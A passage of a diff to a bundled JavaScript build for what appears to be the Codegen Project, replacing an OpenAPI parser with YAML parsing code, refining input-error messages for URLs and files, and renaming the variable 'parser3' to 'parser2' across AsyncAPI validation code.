function(pathOrSchema, schemaOrOptions, options) { - await this.parse(pathOrSchema, schemaOrOptions, options); - return this.schema; -}; -$RefParser.prototype.dereference = async function(pathOrSchema, schemaOrOptions, _options) { - const schema8 = resolveSchemaFromArgs(pathOrSchema, schemaOrOptions); - this.schema = dereferenceInternalImpl(schema8, schema8); - return this.schema; -}; -function getJsonSchemaRefParserDefaultOptions() { - return { - parse: { - json: { order: 100 }, - yaml: { order: 200 }, - text: { order: 300 }, - binary: { order: 400 } - }, - resolve: { - file: { order: 100 }, - http: { order: 200 }, - external: true - }, - dereference: { - circular: true, - excludedPathMatcher: () => false - }, - continueOnError: false - }; -} -function Options(options) { - const defaults2 = getJsonSchemaRefParserDefaultOptions(); - Object.assign(this, defaults2); - if (options) { - Object.assign(this, options); - } -} -Options.prototype = {}; -// node_modules/@readme/openapi-parser/dist/index.js -var import_better_ajv_errors = __toESM(require_lib3(), 1); -var import__ = __toESM(require__(), 1); -var import_ajv_draft_04 = __toESM(require_dist(), 1); -var supportedHTTPMethods = ["get", "post", "put", "delete", "patch", "options", "head", "trace"]; -function isOpenAPI(schema8) { - return "openapi" in schema8 && schema8.openapi !== void 0; +// node_modules/yaml/browser/dist/public-api.js +init_dirname(); +init_buffer2(); +init_process2(); +function parseOptions(options) { + const prettyErrors = options.prettyErrors !== false; + const lineCounter = options.lineCounter || prettyErrors && new LineCounter() || null; + return { lineCounter, prettyErrors }; } -function fixServers(server, path2) { - if (server && "url" in server && server.url && server.url.startsWith("/")) { - try { - const inUrl = new URL(path2); - server.url = `${inUrl.protocol}//${inUrl.hostname}${server.url}`; - } catch { +function parseDocument(source, options = {}) { + const { lineCounter, prettyErrors } = parseOptions(options); + const parser2 = new Parser(lineCounter?.addNewLine); + const composer = new Composer(options); + let doc = null; + for (const _doc of composer.compose(parser2.parse(source), true, source.length)) { + if (!doc) + doc = _doc; + else if (doc.options.logLevel !== "silent") { + doc.errors.push(new YAMLParseError(_doc.range.slice(0, 2), "MULTIPLE_DOCS", "Source contains multiple documents; please use YAML.parseAllDocuments()")); + break; } } -} -function fixOasRelativeServers(schema8, filePath) { - if (!schema8 || !isOpenAPI(schema8) || !filePath || !filePath.startsWith("http:") && !filePath.startsWith("https:")) { - return; - } - if (schema8.servers) { - schema8.servers.map((server) => fixServers(server, filePath)); + if (prettyErrors && lineCounter) { + doc.errors.forEach(prettifyError(source, lineCounter)); + doc.warnings.forEach(prettifyError(source, lineCounter)); } - ["paths", "webhooks"].forEach((component) => { - if (component in schema8) { - const schemaElement = schema8.paths || {}; - Object.keys(schemaElement).forEach((path2) => { - const pathItem = schemaElement[path2] || {}; - Object.keys(pathItem).forEach((opItem) => { - const pathItemElement = pathItem[opItem]; - if (!pathItemElement) { - return; - } - if (opItem === "servers" && Array.isArray(pathItemElement)) { - pathItemElement.forEach((server) => { - fixServers(server, filePath); - }); - return; - } - if (supportedHTTPMethods.includes(opItem) && typeof pathItemElement === "object" && "servers" in pathItemElement && Array.isArray(pathItemElement.servers)) { - pathItemElement.servers.forEach((server) => { - fixServers(server, filePath); - }); - } - }); - }); - } - }); + return doc; } -function repairSchema(schema8, filePath) { - if (isOpenAPI(schema8)) { - fixOasRelativeServers(schema8, filePath); +function parse(src, reviver, options) { + let _reviver = void 0; + if (typeof reviver === "function") { + _reviver = reviver; + } else if (options === void 0 && reviver && typeof reviver === "object") { + options = reviver; } -} -function normalizeArguments(api) { - return { - path: typeof api === "string" ? api : "", - schema: typeof api === "object" ? api : void 0 - }; -} -function convertOptionsForParser(options) { - const parserOptions = getJsonSchemaRefParserDefaultOptions(); - return { - ...parserOptions, - dereference: { - ...parserOptions.dereference, - circular: options?.dereference && "circular" in options.dereference ? options.dereference.circular : parserOptions.dereference.circular, - onCircular: options?.dereference?.onCircular || parserOptions.dereference.onCircular, - onDereference: options?.dereference?.onDereference || parserOptions.dereference.onDereference, - // OpenAPI 3.1 allows for `summary` and `description` properties at the same level as a `$ref` - // pointer to be preserved when that `$ref` pointer is dereferenced. The default behavior of - // `json-schema-ref-parser` is to discard these properties but this option allows us to - // override that behavior. - preservedProperties: ["summary", "description"] - }, - resolve: { - ...parserOptions.resolve, - external: options?.resolve && "external" in options.resolve ? options.resolve.external : parserOptions.resolve.external, - file: options?.resolve && "file" in options.resolve ? options.resolve.file : parserOptions.resolve.file, - http: { - ...typeof parserOptions.resolve.http === "object" ? parserOptions.resolve.http : {}, - timeout: options?.resolve?.http && "timeout" in options.resolve.http ? options.resolve.http.timeout : 5e3 - } - }, - timeoutMs: options?.timeoutMs - }; -} -async function parse2(api, options) { - const args = normalizeArguments(api); - const parserOptions = convertOptionsForParser(options); - const parser3 = new $RefParser(); - const schema8 = await parser3.parse(args.path, args.schema, parserOptions); - repairSchema(schema8, args.path); - return schema8; -} -async function dereference2(api, options) { - const args = normalizeArguments(api); - const parserOptions = convertOptionsForParser(options); - const parser3 = new $RefParser(); - await parser3.dereference(args.path, args.schema, parserOptions); - repairSchema(parser3.schema, args.path); - return parser3.schema; + const doc = parseDocument(src, options); + if (!doc) + return null; + doc.warnings.forEach((warning) => warn(doc.options.logLevel, warning)); + if (doc.errors.length > 0) { + if (doc.options.logLevel !== "silent") + throw doc.errors[0]; + else + doc.errors = []; + } + return doc.toJS(Object.assign({ reviver: _reviver }, options)); } +// src/browser/generate.ts +init_dist(); + // src/codegen/errors.ts init_dirname(); init_buffer2(); @@ -980490,13 +979987,25 @@ function createConfigValidationError(options) { For more information, visit: https://the-codegen-project.org/docs/configurations/` }); } +function detectFormatHint(inputPath) { + if (inputPath.endsWith(".json")) { + return "JSON"; + } + if (inputPath.endsWith(".yaml") || inputPath.endsWith(".yml")) { + return "YAML"; + } + return "JSON or YAML"; +} function createInputDocumentError(options) { const { inputPath, inputType, errorMessage } = options; + const isUrl = inputPath.startsWith("http://") || inputPath.startsWith("https://"); + const formatHint = detectFormatHint(inputPath); + const sourceHelp = isUrl ? `Check that the URL is reachable and returns a valid ${formatHint} document.` : `Check that the input file exists and is a valid ${formatHint} file.`; return new CodegenError({ type: "INPUT_DOCUMENT_ERROR" /* INPUT_DOCUMENT_ERROR */, message: `Failed to load ${inputType} document: ${inputPath}`, details: errorMessage, - help: `Check that the input file exists and is a valid ${inputPath.endsWith(".json") ? "JSON" : "YAML"} file. + help: `${sourceHelp} Ensure the document conforms to the ${inputType} specification.` }); } @@ -980630,7 +980139,7 @@ init_process2(); var isBrowser = typeof window !== "undefined" && typeof document !== "undefined"; var ParserClass; if (isBrowser) { - const browserBundle = (init_browser2(), __toCommonJS(browser_exports)); + const browserBundle = (init_browser(), __toCommonJS(browser_exports)); if (typeof console !== "undefined" && console.debug) { console.debug( "[AsyncAPI Parser Shim] Bundle keys:", @@ -980986,6 +980495,19 @@ var Logger = new LoggerClass(); // src/codegen/inputs/jsonschema/parser.ts init_fs(); + +// src/utils/inputSource.ts +init_dirname(); +init_buffer2(); +init_process2(); +init_path(); + +// src/utils/remoteFetch.ts +init_dirname(); +init_buffer2(); +init_process2(); + +// src/codegen/inputs/jsonschema/parser.ts function loadJsonSchemaFromMemory(document2, documentPath) { const path2 = documentPath || "memory"; Logger.verbose(`Loading JSON Schema document from ${path2}`); @@ -985367,6 +984889,7 @@ var jsYaml = { init_dirname(); init_buffer2(); init_process2(); +init_json_schema_ref_parser(); init_path(); // node_modules/@asyncapi/modelina/lib/esm/interpreter/Interpreter.js @@ -989106,9 +988629,9 @@ var __awaiter23 = function(thisArg, _arguments, P6, generator) { step((generator = generator.apply(thisArg, _arguments || [])).next()); }); }; -function validateSchema2(parser3, input) { +function validateSchema2(parser2, input) { return __awaiter23(this, void 0, void 0, function* () { - const schemaParser = parser3.parserRegistry.get(input.schemaFormat); + const schemaParser = parser2.parserRegistry.get(input.schemaFormat); if (schemaParser === void 0) { const { path: path2, schemaFormat } = input; path2.pop(); @@ -989126,21 +988649,21 @@ function validateSchema2(parser3, input) { return schemaParser.validate(input); }); } -function parseSchema2(parser3, input) { +function parseSchema2(parser2, input) { return __awaiter23(this, void 0, void 0, function* () { - const schemaParser = parser3.parserRegistry.get(input.schemaFormat); + const schemaParser = parser2.parserRegistry.get(input.schemaFormat); if (schemaParser === void 0) { throw new Error("Unknown schema format"); } return schemaParser.parse(input); }); } -function registerSchemaParser2(parser3, schemaParser) { +function registerSchemaParser2(parser2, schemaParser) { if (typeof schemaParser !== "object" || typeof schemaParser.validate !== "function" || typeof schemaParser.parse !== "function" || typeof schemaParser.getMimeTypes !== "function") { throw new Error('Custom parser must have "parse()", "validate()" and "getMimeTypes()" functions.'); } schemaParser.getMimeTypes().forEach((schemaFormat) => { - parser3.parserRegistry.set(schemaFormat, schemaParser); + parser2.parserRegistry.set(schemaFormat, schemaParser); }); } function getSchemaFormat2(schematFormat, asyncapiVersion) { @@ -991319,7 +990842,7 @@ var customSchemasPathsV22 = [ // messages "$.components.messages.*" ]; -function parseSchemasV22(parser3, detailed) { +function parseSchemasV22(parser2, detailed) { return __awaiter24(this, void 0, void 0, function* () { const defaultSchemaFormat = getDefaultSchemaFormat2(detailed.semver.version); const parseItems = []; @@ -991356,13 +990879,13 @@ function parseSchemasV22(parser3, detailed) { } }); }); - return Promise.all(parseItems.map((item) => parseSchemaV22(parser3, item))); + return Promise.all(parseItems.map((item) => parseSchemaV22(parser2, item))); }); } -function parseSchemaV22(parser3, item) { +function parseSchemaV22(parser2, item) { return __awaiter24(this, void 0, void 0, function* () { const originalData = item.input.data; - const parsedData = item.value.payload = yield parseSchema2(parser3, item.input); + const parsedData = item.value.payload = yield parseSchema2(parser2, item.input); if (originalData !== parsedData) { item.value[xParserOriginalPayload2] = originalData; } @@ -991461,21 +990984,21 @@ var __awaiter25 = function(thisArg, _arguments, P6, generator) { step((generator = generator.apply(thisArg, _arguments || [])).next()); }); }; -function customOperations2(parser3, document2, detailed, inventory, options) { +function customOperations2(parser2, document2, detailed, inventory, options) { return __awaiter25(this, void 0, void 0, function* () { switch (detailed.semver.major) { case 2: - return operationsV22(parser3, document2, detailed, inventory, options); + return operationsV22(parser2, document2, detailed, inventory, options); } }); } -function operationsV22(parser3, document2, detailed, inventory, options) { +function operationsV22(parser2, document2, detailed, inventory, options) { return __awaiter25(this, void 0, void 0, function* () { if (options.applyTraits) { applyTraitsV22(detailed.parsed); } if (options.parseSchemas) { - yield parseSchemasV22(parser3, detailed); + yield parseSchemasV22(parser2, detailed); } if (inventory) { resolveCircularRefs2(document2, inventory); @@ -992226,7 +991749,7 @@ var __awaiter26 = function(thisArg, _arguments, P6, generator) { step((generator = generator.apply(thisArg, _arguments || [])).next()); }); }; -function asyncApi2MessageExamplesParserRule2(parser3) { +function asyncApi2MessageExamplesParserRule2(parser2) { return { description: "Examples of message object should validate against a payload with an explicit schemaFormat.", message: "{{error}}", @@ -992248,11 +991771,11 @@ function asyncApi2MessageExamplesParserRule2(parser3) { "$.components.messageTraits[?(!@null && @.schemaFormat !== void 0)]" ], then: { - function: rulesetFunction3(parser3) + function: rulesetFunction3(parser2) } }; } -function rulesetFunction3(parser3) { +function rulesetFunction3(parser2) { return (0, import_spectral_core31.createRulesetFunction)({ input: { type: "object", @@ -992283,7 +991806,7 @@ function rulesetFunction3(parser3) { defaultSchemaFormat }; const results = []; - const payloadSchemaResults = yield parseExampleSchema2(parser3, targetVal.payload, input); + const payloadSchemaResults = yield parseExampleSchema2(parser2, targetVal.payload, input); const payloadSchema = payloadSchemaResults.schema; results.push(...payloadSchemaResults.errors); for (const example of getMessageExamples2(targetVal)) { @@ -992298,7 +991821,7 @@ function rulesetFunction3(parser3) { return results; })); } -function parseExampleSchema2(parser3, schema8, input) { +function parseExampleSchema2(parser2, schema8, input) { return __awaiter26(this, void 0, void 0, function* () { const path2 = [...input.rootPath, "payload"]; if (schema8 === void 0) { @@ -992313,7 +991836,7 @@ function parseExampleSchema2(parser3, schema8, input) { schemaFormat: input.schemaFormat, defaultSchemaFormat: input.defaultSchemaFormat }; - const parsedSchema = yield parseSchema2(parser3, parseSchemaInput); + const parsedSchema = yield parseSchema2(parser2, parseSchemaInput); return { path: path2, schema: parsedSchema, errors: [] }; } catch (err) { const error2 = { @@ -992841,7 +992364,7 @@ var __awaiter27 = function(thisArg, _arguments, P6, generator) { step((generator = generator.apply(thisArg, _arguments || [])).next()); }); }; -function asyncApi2SchemaParserRule2(parser3) { +function asyncApi2SchemaParserRule2(parser2) { return { description: "Custom schema must be correctly formatted from the point of view of the used format.", message: "{{error}}", @@ -992857,11 +992380,11 @@ function asyncApi2SchemaParserRule2(parser3) { "$.components.messages.*" ], then: { - function: rulesetFunction4(parser3) + function: rulesetFunction4(parser2) } }; } -function rulesetFunction4(parser3) { +function rulesetFunction4(parser2) { return (0, import_spectral_core39.createRulesetFunction)({ input: { type: "object", @@ -992893,7 +992416,7 @@ function rulesetFunction4(parser3) { defaultSchemaFormat }; try { - return yield validateSchema2(parser3, input); + return yield validateSchema2(parser2, input); } catch (err) { return [ { @@ -993071,11 +992594,11 @@ var v2CoreRuleset2 = { } } }; -var v2SchemasRuleset2 = (parser3) => { +var v2SchemasRuleset2 = (parser2) => { return { description: "Schemas AsyncAPI 2.x.x ruleset.", rules: { - "asyncapi2-schemas": asyncApi2SchemaParserRule2(parser3), + "asyncapi2-schemas": asyncApi2SchemaParserRule2(parser2), "asyncapi2-schema-default": { description: "Default must be valid against its defined schema.", message: "{{error}}", @@ -993120,7 +992643,7 @@ var v2SchemasRuleset2 = (parser3) => { } } }, - "asyncapi2-message-examples-custom-format": asyncApi2MessageExamplesParserRule2(parser3) + "asyncapi2-message-examples-custom-format": asyncApi2MessageExamplesParserRule2(parser2) } }; }; @@ -993256,14 +992779,14 @@ var __rest11 = function(s7, e10) { } return t8; }; -function createRuleset2(parser3, options) { +function createRuleset2(parser2, options) { var _a2; const _b = options || {}, { core: useCore = true, recommended: useRecommended = true } = _b, rest2 = __rest11(_b, ["core", "recommended"]); const extendedRuleset = [ useCore && coreRuleset2, useRecommended && recommendedRuleset2, useCore && v2CoreRuleset2, - useCore && v2SchemasRuleset2(parser3), + useCore && v2SchemasRuleset2(parser2), useRecommended && v2RecommendedRuleset2, ...((_a2 = options || {}) === null || _a2 === void 0 ? void 0 : _a2.extends) || [] ].filter(Boolean); @@ -993367,11 +992890,11 @@ function canRead2(resolver, uri, ctx) { } // node_modules/parserapiv1/esm/spectral.js -function createSpectral2(parser3, options = {}) { +function createSpectral2(parser2, options = {}) { var _a2; const resolverOptions = (_a2 = options.__unstable) === null || _a2 === void 0 ? void 0 : _a2.resolver; const spectral = new import_spectral_core40.Spectral({ resolver: createResolver2(resolverOptions) }); - const ruleset = createRuleset2(parser3, options.ruleset); + const ruleset = createRuleset2(parser2, options.ruleset); spectral.setRuleset(ruleset); return spectral; } @@ -993413,7 +992936,7 @@ var defaultOptions3 = { }, __unstable: {} }; -function validate5(parser3, parserSpectral, asyncapi, options = {}) { +function validate5(parser2, parserSpectral, asyncapi, options = {}) { var _a2; return __awaiter29(this, void 0, void 0, function* () { let document2; @@ -993422,7 +992945,7 @@ function validate5(parser3, parserSpectral, asyncapi, options = {}) { const stringifiedDocument = normalizeInput2(asyncapi); document2 = new import_spectral_core41.Document(stringifiedDocument, import_spectral_parsers2.Yaml, options.source); document2.__parserInput = asyncapi; - const spectral = ((_a2 = options.__unstable) === null || _a2 === void 0 ? void 0 : _a2.resolver) ? createSpectral2(parser3, options) : parserSpectral; + const spectral = ((_a2 = options.__unstable) === null || _a2 === void 0 ? void 0 : _a2.resolver) ? createSpectral2(parser2, options) : parserSpectral; let { resolved: validated, results } = yield spectral.runWithResolved(document2, {}); if (!(allowedSeverity === null || allowedSeverity === void 0 ? void 0 : allowedSeverity.error) && hasErrorDiagnostic2(results) || !(allowedSeverity === null || allowedSeverity === void 0 ? void 0 : allowedSeverity.warning) && hasWarningDiagnostic2(results) || !(allowedSeverity === null || allowedSeverity === void 0 ? void 0 : allowedSeverity.info) && hasInfoDiagnostic2(results) || !(allowedSeverity === null || allowedSeverity === void 0 ? void 0 : allowedSeverity.hint) && hasHintDiagnostic2(results)) { validated = void 0; @@ -993468,12 +992991,12 @@ var defaultOptions4 = { validateOptions: {}, __unstable: {} }; -function parse8(parser3, spectral, asyncapi, options = {}) { +function parse8(parser2, spectral, asyncapi, options = {}) { return __awaiter30(this, void 0, void 0, function* () { let spectralDocument; try { options = mergePatch2(defaultOptions4, options); - const { validated, diagnostics, extras } = yield validate5(parser3, spectral, asyncapi, Object.assign(Object.assign({}, options.validateOptions), { source: options.source, __unstable: options.__unstable })); + const { validated, diagnostics, extras } = yield validate5(parser2, spectral, asyncapi, Object.assign(Object.assign({}, options.validateOptions), { source: options.source, __unstable: options.__unstable })); if (validated === void 0) { return { document: void 0, @@ -993488,7 +993011,7 @@ function parse8(parser3, spectral, asyncapi, options = {}) { const document2 = createAsyncAPIDocument2(detailed); setExtension2(xParserSpecParsed2, true, document2); setExtension2(xParserApiVersion2, 1, document2); - yield customOperations2(parser3, document2, detailed, inventory, options); + yield customOperations2(parser2, document2, detailed, inventory, options); return { document: document2, diagnostics, @@ -993654,7 +993177,7 @@ var Parser5 = class { this.parserRegistry = /* @__PURE__ */ new Map(); this.spectral = createSpectral2(this, options); this.registerSchemaParser(AsyncAPISchemaParser2()); - (_a2 = this.options.schemaParsers) === null || _a2 === void 0 ? void 0 : _a2.forEach((parser3) => this.registerSchemaParser(parser3)); + (_a2 = this.options.schemaParsers) === null || _a2 === void 0 ? void 0 : _a2.forEach((parser2) => this.registerSchemaParser(parser2)); } parse(asyncapi, options) { return __awaiter32(this, void 0, void 0, function* () { @@ -993677,8 +993200,8 @@ var Parser5 = class { return (yield validate5(this, this.spectral, asyncapi, options)).diagnostics; }); } - registerSchemaParser(parser3) { - return registerSchemaParser2(this, parser3); + registerSchemaParser(parser2) { + return registerSchemaParser2(this, parser2); } }; @@ -994139,9 +993662,9 @@ var __awaiter33 = function(thisArg, _arguments, P6, generator) { step((generator = generator.apply(thisArg, _arguments || [])).next()); }); }; -function validateSchema3(parser3, input) { +function validateSchema3(parser2, input) { return __awaiter33(this, void 0, void 0, function* () { - const schemaParser = parser3.parserRegistry.get(input.schemaFormat); + const schemaParser = parser2.parserRegistry.get(input.schemaFormat); if (schemaParser === void 0) { const { path: path2, schemaFormat } = input; path2.pop(); @@ -994159,21 +993682,21 @@ function validateSchema3(parser3, input) { return schemaParser.validate(input); }); } -function parseSchema3(parser3, input) { +function parseSchema3(parser2, input) { return __awaiter33(this, void 0, void 0, function* () { - const schemaParser = parser3.parserRegistry.get(input.schemaFormat); + const schemaParser = parser2.parserRegistry.get(input.schemaFormat); if (schemaParser === void 0) { throw new Error("Unknown schema format"); } return schemaParser.parse(input); }); } -function registerSchemaParser3(parser3, schemaParser) { +function registerSchemaParser3(parser2, schemaParser) { if (typeof schemaParser !== "object" || typeof schemaParser.validate !== "function" || typeof schemaParser.parse !== "function" || typeof schemaParser.getMimeTypes !== "function") { throw new Error('Custom parser must have "parse()", "validate()" and "getMimeTypes()" functions.'); } schemaParser.getMimeTypes().forEach((schemaFormat) => { - parser3.parserRegistry.set(schemaFormat, schemaParser); + parser2.parserRegistry.set(schemaFormat, schemaParser); }); } function getSchemaFormat3(schematFormat, asyncapiVersion) { @@ -998593,7 +998116,7 @@ var customSchemasPathsV32 = [ // schemas "$.components.schemas.*" ]; -function parseSchemasV23(parser3, detailed) { +function parseSchemasV23(parser2, detailed) { return __awaiter34(this, void 0, void 0, function* () { const defaultSchemaFormat = getDefaultSchemaFormat3(detailed.semver.version); const parseItems = []; @@ -998630,10 +998153,10 @@ function parseSchemasV23(parser3, detailed) { } }); }); - return Promise.all(parseItems.map((item) => parseSchemaV23(parser3, item))); + return Promise.all(parseItems.map((item) => parseSchemaV23(parser2, item))); }); } -function parseSchemasV32(parser3, detailed) { +function parseSchemasV32(parser2, detailed) { return __awaiter34(this, void 0, void 0, function* () { const defaultSchemaFormat = getDefaultSchemaFormat3(detailed.semver.version); const parseItems = []; @@ -998674,14 +998197,14 @@ function parseSchemasV32(parser3, detailed) { } }); }); - return Promise.all(parseItems.map((item) => parseSchemaV32(parser3, item))); + return Promise.all(parseItems.map((item) => parseSchemaV32(parser2, item))); }); } -function parseSchemaV32(parser3, item) { +function parseSchemaV32(parser2, item) { var _a2; return __awaiter34(this, void 0, void 0, function* () { const originalData = item.input.data; - const parsedData = yield parseSchema3(parser3, item.input); + const parsedData = yield parseSchema3(parser2, item.input); if (((_a2 = item.value) === null || _a2 === void 0 ? void 0 : _a2.schema) !== void 0) { item.value.schema = parsedData; } else { @@ -998692,10 +998215,10 @@ function parseSchemaV32(parser3, item) { } }); } -function parseSchemaV23(parser3, item) { +function parseSchemaV23(parser2, item) { return __awaiter34(this, void 0, void 0, function* () { const originalData = item.input.data; - const parsedData = item.value.payload = yield parseSchema3(parser3, item.input); + const parsedData = item.value.payload = yield parseSchema3(parser2, item.input); if (originalData !== parsedData) { item.value[xParserOriginalPayload3] = originalData; } @@ -998820,24 +998343,24 @@ var __awaiter35 = function(thisArg, _arguments, P6, generator) { step((generator = generator.apply(thisArg, _arguments || [])).next()); }); }; -function customOperations3(parser3, document2, detailed, inventory, options) { +function customOperations3(parser2, document2, detailed, inventory, options) { return __awaiter35(this, void 0, void 0, function* () { switch (detailed.semver.major) { case 2: - return operationsV23(parser3, document2, detailed, inventory, options); + return operationsV23(parser2, document2, detailed, inventory, options); case 3: - return operationsV32(parser3, document2, detailed, inventory, options); + return operationsV32(parser2, document2, detailed, inventory, options); } }); } -function operationsV23(parser3, document2, detailed, inventory, options) { +function operationsV23(parser2, document2, detailed, inventory, options) { return __awaiter35(this, void 0, void 0, function* () { checkCircularRefs2(document2); if (options.applyTraits) { applyTraitsV23(detailed.parsed); } if (options.parseSchemas) { - yield parseSchemasV23(parser3, detailed); + yield parseSchemasV23(parser2, detailed); } if (inventory) { resolveCircularRefs3(document2, inventory); @@ -998845,14 +998368,14 @@ function operationsV23(parser3, document2, detailed, inventory, options) { anonymousNaming3(document2); }); } -function operationsV32(parser3, document2, detailed, inventory, options) { +function operationsV32(parser2, document2, detailed, inventory, options) { return __awaiter35(this, void 0, void 0, function* () { checkCircularRefs2(document2); if (options.applyTraits) { applyTraitsV32(detailed.parsed); } if (options.parseSchemas) { - yield parseSchemasV32(parser3, detailed); + yield parseSchemasV32(parser2, detailed); } if (inventory) { resolveCircularRefs3(document2, inventory); @@ -999621,7 +999144,7 @@ var __awaiter36 = function(thisArg, _arguments, P6, generator) { step((generator = generator.apply(thisArg, _arguments || [])).next()); }); }; -function asyncApi2MessageExamplesParserRule3(parser3) { +function asyncApi2MessageExamplesParserRule3(parser2) { return { description: "Examples of message object should validate against a payload with an explicit schemaFormat.", message: "{{error}}", @@ -999643,11 +999166,11 @@ function asyncApi2MessageExamplesParserRule3(parser3) { "$.components.messageTraits[?(!@null && @.schemaFormat !== void 0)]" ], then: { - function: rulesetFunction5(parser3) + function: rulesetFunction5(parser2) } }; } -function rulesetFunction5(parser3) { +function rulesetFunction5(parser2) { return (0, import_spectral_core51.createRulesetFunction)({ input: { type: "object", @@ -999678,7 +999201,7 @@ function rulesetFunction5(parser3) { defaultSchemaFormat }; const results = []; - const payloadSchemaResults = yield parseExampleSchema3(parser3, targetVal.payload, input); + const payloadSchemaResults = yield parseExampleSchema3(parser2, targetVal.payload, input); const payloadSchema = payloadSchemaResults.schema; results.push(...payloadSchemaResults.errors); for (const example of getMessageExamples3(targetVal)) { @@ -999693,7 +999216,7 @@ function rulesetFunction5(parser3) { return results; })); } -function parseExampleSchema3(parser3, schema8, input) { +function parseExampleSchema3(parser2, schema8, input) { return __awaiter36(this, void 0, void 0, function* () { const path2 = [...input.rootPath, "payload"]; if (schema8 === void 0) { @@ -999708,7 +999231,7 @@ function parseExampleSchema3(parser3, schema8, input) { schemaFormat: input.schemaFormat, defaultSchemaFormat: input.defaultSchemaFormat }; - const parsedSchema = yield parseSchema3(parser3, parseSchemaInput); + const parsedSchema = yield parseSchema3(parser2, parseSchemaInput); return { path: path2, schema: parsedSchema, errors: [] }; } catch (err) { const error2 = { @@ -1000236,7 +999759,7 @@ var __awaiter37 = function(thisArg, _arguments, P6, generator) { step((generator = generator.apply(thisArg, _arguments || [])).next()); }); }; -function asyncApi2SchemaParserRule3(parser3) { +function asyncApi2SchemaParserRule3(parser2) { return { description: "Custom schema must be correctly formatted from the point of view of the used format.", message: "{{error}}", @@ -1000252,11 +999775,11 @@ function asyncApi2SchemaParserRule3(parser3) { "$.components.messages.*" ], then: { - function: rulesetFunction6(parser3) + function: rulesetFunction6(parser2) } }; } -function rulesetFunction6(parser3) { +function rulesetFunction6(parser2) { return (0, import_spectral_core59.createRulesetFunction)({ input: { type: "object", @@ -1000288,7 +999811,7 @@ function rulesetFunction6(parser3) { defaultSchemaFormat }; try { - return yield validateSchema3(parser3, input); + return yield validateSchema3(parser2, input); } catch (err) { return [ { @@ -1000466,11 +999989,11 @@ var v2CoreRuleset3 = { } } }; -var v2SchemasRuleset3 = (parser3) => { +var v2SchemasRuleset3 = (parser2) => { return { description: "Schemas AsyncAPI 2.x.x ruleset.", rules: { - "asyncapi2-schemas": asyncApi2SchemaParserRule3(parser3), + "asyncapi2-schemas": asyncApi2SchemaParserRule3(parser2), "asyncapi2-schema-default": { description: "Default must be valid against its defined schema.", message: "{{error}}", @@ -1000515,7 +1000038,7 @@ var v2SchemasRuleset3 = (parser3) => { } } }, - "asyncapi2-message-examples-custom-format": asyncApi2MessageExamplesParserRule3(parser3) + "asyncapi2-message-examples-custom-format": asyncApi2MessageExamplesParserRule3(parser2) } }; }; @@ -1000651,14 +1000174,14 @@ var __rest12 = function(s7, e10) { } return t8; }; -function createRuleset3(parser3, options) { +function createRuleset3(parser2, options) { var _a2; const _b = options || {}, { core: useCore = true, recommended: useRecommended = true } = _b, rest2 = __rest12(_b, ["core", "recommended"]); const extendedRuleset = [ useCore && coreRuleset3, useRecommended && recommendedRuleset3, useCore && v2CoreRuleset3, - useCore && v2SchemasRuleset3(parser3), + useCore && v2SchemasRuleset3(parser2), useRecommended && v2RecommendedRuleset3, ...((_a2 = options || {}) === null || _a2 === void 0 ? void 0 : _a2.extends) || [] ].filter(Boolean); @@ -1000762,11 +1000285,11 @@ function canRead3(resolver, uri, ctx) { } // node_modules/parserapiv2/esm/spectral.js -function createSpectral3(parser3, options = {}) { +function createSpectral3(parser2, options = {}) { var _a2; const resolverOptions = (_a2 = options.__unstable) === null || _a2 === void 0 ? void 0 : _a2.resolver; const spectral = new import_spectral_core60.Spectral({ resolver: createResolver3(resolverOptions) }); - const ruleset = createRuleset3(parser3, options.ruleset); + const ruleset = createRuleset3(parser2, options.ruleset); spectral.setRuleset(ruleset); return spectral; } @@ -1000808,7 +1000331,7 @@ var defaultOptions5 = { }, __unstable: {} }; -function validate8(parser3, parserSpectral, asyncapi, options = {}) { +function validate8(parser2, parserSpectral, asyncapi, options = {}) { var _a2; return __awaiter39(this, void 0, void 0, function* () { let document2; @@ -1000817,7 +1000340,7 @@ function validate8(parser3, parserSpectral, asyncapi, options = {}) { const stringifiedDocument = normalizeInput3(asyncapi); document2 = new import_spectral_core61.Document(stringifiedDocument, import_spectral_parsers3.Yaml, options.source); document2.__parserInput = asyncapi; - const spectral = ((_a2 = options.__unstable) === null || _a2 === void 0 ? void 0 : _a2.resolver) ? createSpectral3(parser3, options) : parserSpectral; + const spectral = ((_a2 = options.__unstable) === null || _a2 === void 0 ? void 0 : _a2.resolver) ? createSpectral3(parser2, options) : parserSpectral; let { resolved: validated, results } = yield spectral.runWithResolved(document2, {}); if (!(allowedSeverity === null || allowedSeverity === void 0 ? void 0 : allowedSeverity.error) && hasErrorDiagnostic3(results) || !(allowedSeverity === null || allowedSeverity === void 0 ? void 0 : allowedSeverity.warning) && hasWarningDiagnostic3(results) || !(allowedSeverity === null || allowedSeverity === void 0 ? void 0 : allowedSeverity.info) && hasInfoDiagnostic3(results) || !(allowedSeverity === null || allowedSeverity === void 0 ? void 0 : allowedSeverity.hint) && hasHintDiagnostic3(results)) { validated = void 0; @@ -1000863,12 +1000386,12 @@ var defaultOptions6 = { validateOptions: {}, __unstable: {} }; -function parse10(parser3, spectral, asyncapi, options = {}) { +function parse10(parser2, spectral, asyncapi, options = {}) { return __awaiter40(this, void 0, void 0, function* () { let spectralDocument; try { options = mergePatch3(defaultOptions6, options); - const { validated, diagnostics, extras } = yield validate8(parser3, spectral, asyncapi, Object.assign(Object.assign({}, options.validateOptions), { source: options.source, __unstable: options.__unstable })); + const { validated, diagnostics, extras } = yield validate8(parser2, spectral, asyncapi, Object.assign(Object.assign({}, options.validateOptions), { source: options.source, __unstable: options.__unstable })); if (validated === void 0) { return { document: void 0, @@ -1000883,7 +1000406,7 @@ function parse10(parser3, spectral, asyncapi, options = {}) { const document2 = createAsyncAPIDocument3(detailed); setExtension3(xParserSpecParsed3, true, document2); setExtension3(xParserApiVersion3, ParserAPIVersion2, document2); - yield customOperations3(parser3, document2, detailed, inventory, options); + yield customOperations3(parser2, document2, detailed, inventory, options); return { document: document2, diagnostics, @@ -1001049,7 +1000572,7 @@ var Parser6 = class { this.parserRegistry = /* @__PURE__ */ new Map(); this.spectral = createSpectral3(this, options); this.registerSchemaParser(AsyncAPISchemaParser3()); - (_a2 = this.options.schemaParsers) === null || _a2 === void 0 ? void 0 : _a2.forEach((parser3) => this.registerSchemaParser(parser3)); + (_a2 = this.options.schemaParsers) === null || _a2 === void 0 ? void 0 : _a2.forEach((parser2) => this.registerSchemaParser(parser2)); } parse(asyncapi, options) { return __awaiter42(this, void 0, void 0, function* () { @@ -1001072,8 +1000595,8 @@ var Parser6 = class { return (yield validate8(this, this.spectral, 